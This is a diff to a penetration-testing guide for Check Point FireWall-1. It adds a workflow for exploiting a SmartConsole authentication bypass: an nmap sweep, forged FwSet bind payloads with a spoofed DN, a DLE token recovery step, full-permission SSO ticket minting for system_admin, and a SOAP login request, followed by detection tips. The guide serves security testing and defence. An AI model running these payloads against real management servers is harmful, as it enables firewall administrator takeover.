Check Point SmartConsole Authentication Bypass Technical Ana...

src/network-services-pentesting/pentesting-264-check-point-firewall-1.md

@@ -47,14 +47,14 @@ In practice, `CN` is the gateway object / hostname and `O` commonly maps to the
 
 Once `264/TCP` confirms a Check Point device, don't stop at the hostname leak. Use the leaked management name to prioritize the rest of the Check Point control plane:
 
-- Probe the management host and nearby gateway IPs for **443/TCP** and Check Point control channels such as **18190/TCP (CPMI)**, **18191/TCP (CPD)**, **18210/TCP (ICA_PULL)**, **18211/TCP (ICA_PUSH)**, **18231/TCP (Policy Server login)**, and **18264/TCP (ICA_SERVICES)**.
+- Probe the management host and nearby gateway IPs for **443/TCP** and Check Point control channels such as **18190/TCP (CPMI)**, **18191/TCP (CPD)**, **18210/TCP (ICA_PULL)**, **18211/TCP (ICA_PUSH)**, **18231/TCP (Policy Server login)**, **18264/TCP (ICA_SERVICES)**, and **19009/TCP (CPM/DLE SOAP SmartConsole services)**.
 - These ports are frequently reachable only after landing on a VPN segment, jump host, or management VLAN, but `FW1_topo` gives you the names to look for.
 - If the environment enables **Accept Control Connections**, several of these services are opened automatically by design, so they are worth rescanning from every new foothold.
 
 Quick sweep:
 
 ```bash
-nmap -Pn -sT -p 264,443,18190,18191,18210,18211,18231,18264 <gateway-or-management-ip>
+nmap -Pn -sT -p 264,443,18190,18191,18210,18211,18231,18264,19009 <gateway-or-management-ip>
 ```
 
 If valid administrator credentials are recovered, move from gateway fingerprinting to structured management enumeration. The Check Point **Management API** is scriptable via `mgmt_cli` or HTTPS `web_api` calls:
@@ -67,6 +67,79 @@ mgmt_cli logout -s id.txt
 
 The output commonly reveals gateway objects, cluster members, management IPs, and other pivot points that are much harder to infer from the firewall itself. Remember that the **Management API** lives on the management server, while the **Gaia API** is a separate HTTPS API for OS-level configuration on the gateway.
 
+## SmartConsole / Security Management Server Authentication Bypass Workflow
+
+If the leaked management host exposes **18190/TCP** (legacy **CPMI/FWM**) and **19009/TCP** (**CPM/DLE** SOAP under `/cpmws/`), treat them as a chained trust surface rather than as two unrelated services. SmartConsole logins cross both protocols, so a trust-boundary bug in native application authentication can become a full GUI administrator session.
+
+### Application-layer SIC identity override
+
+During SIC bootstrap, the management server exposes its own SIC DN (for example `cn=cp_mgmt,o=<mgmt>`). A vulnerable implementation may later accept a second DN inside an FwSet application bind and use that attacker-controlled string as the effective remote identity instead of the TLS-authenticated certificate DN. If that happens, a remote client can impersonate trusted internal applications such as `CPM Server` without loading a matching client certificate.
+
+```text
+(
+    :local_bind (0)
+    :token_bind (0)
+    :DN ("cn=cp_mgmt,o=<mgmt>")
+    :certificate_bind (1)
+    :application_login ("CPM Server")
+    :client_without_administrator (true)
+)
+```
+
+This is a good generic review pattern for proprietary management protocols: if both a transport-authenticated identity and an application-layer claimed identity exist, authorization must bind to the transport identity, not to the replayable field carried inside the protocol body.
+
+### Cross-protocol token reuse
+
+After a forged application bind, the attacker can ask the legacy service to `open-database` and recover a **43-character DLE token** from the binary FwSet response. In the vulnerable SmartConsole flow, that token is also accepted by the newer SOAP service as the `DLESESSIONID` header, turning a native session into authenticated access to selected `/cpmws/` methods.
+
+```text
+(
+    :type (command)
+    :subject (open-database)
+    :body (:Name () :db_open_reason () :dle_session_id () :database () :db_open_id ("(nil)"))
+    :no-reply (false)
+)
+```
+
+If a product has both a legacy binary control plane and a newer HTTP/SOAP/REST layer, always test whether tokens minted by the old service are silently honored by the new one.
+
+### Abusing privileged SSO ticket minting
+
+Once the forged native session is treated as a configuration administrator, request a SmartConsole SSO ticket before normal permission-mask enforcement. In the vulnerable path, setting `:soap_local_bind (1)` and an all-bits-set permission bitmap produces a full-permission ticket for `system_admin`.
+
+```text
+(
+    :type (command)
+    :subject (gen-sso-token)
+    :body (
+        :type (SmartConsole)
+        :sso_original_client (SmartConsole :lower_name (system_admin) :soap_local_bind (1) :permissions ("ffffffff|ffffffff|ffffffff"))
+    )
+)
+```
+
+Redeem the returned ticket through the normal SOAP login endpoint and capture the resulting SmartConsole session identifiers:
+
+```xml
+<l:loginNew>
+  <d:loginRequest>
+    <d:applicationName>SmartConsole</d:applicationName>
+    <d:authenticationInfo xsi:type="d:UserSSOTokenAuthenticationInfo">
+      <d:username>system_admin</d:username>
+      <d:SSOToken><ticket></d:SSOToken>
+    </d:authenticationInfo>
+  </d:loginRequest>
+</l:loginNew>
+```
+
+A successful response returns `sid` and `clientSessionId`. A good validation trick is to compare the same protected SOAP method before and after ticket redemption: the application token may authenticate some queries while exposing a reduced result set, while the redeemed SmartConsole session exposes full administrator data.
+
+### Detection and quick validation
+
+- Check audit logs for SmartConsole events containing `Authentication method: application token`.
+- Unexpected `system_admin` logins coming from non-management hosts or unusual application identities are high-signal.
+- A fast validator is to complete the minimum SIC bootstrap and attempt an application bind with a trusted `:DN` **without** loading any client certificate. Patched implementations should reject the bind before issuing any DLE or SSO token.
+
 ## Recent Authenticated Management-Plane Abuse
 
 A useful modern follow-up to `264/TCP` discovery is testing whether the leaked management host exposes an outdated **Gaia Portal**.
@@ -129,4 +202,7 @@ Compromise of the proxy grants code execution inside the firewall process (SYSTE
 - [http://xforce.iss.net/xforce/alerts/id/162](http://xforce.iss.net/xforce/alerts/id/162)
 - [https://support.checkpoint.com/results/sk/sk62692](https://support.checkpoint.com/results/sk/sk62692)
 - [https://support.checkpoint.com/results/sk/sk181311](https://support.checkpoint.com/results/sk/sk181311)
+- [Rapid7: Check Point SmartConsole Authentication Bypass Technical Analysis (CVE-2026-16232)](https://www.rapid7.com/blog/post/ra-check-point-smartconsole-authentication-bypass-technical-analysis-cve-2026-16232/)
+- [Rapid7 PoC: sfewer-r7/CVE-2026-16232](https://github.com/sfewer-r7/CVE-2026-16232)
+- [Check Point Advisory: sk185169](https://support.checkpoint.com/results/sk/sk185169/)
 {{#include ../banners/hacktricks-training.md}}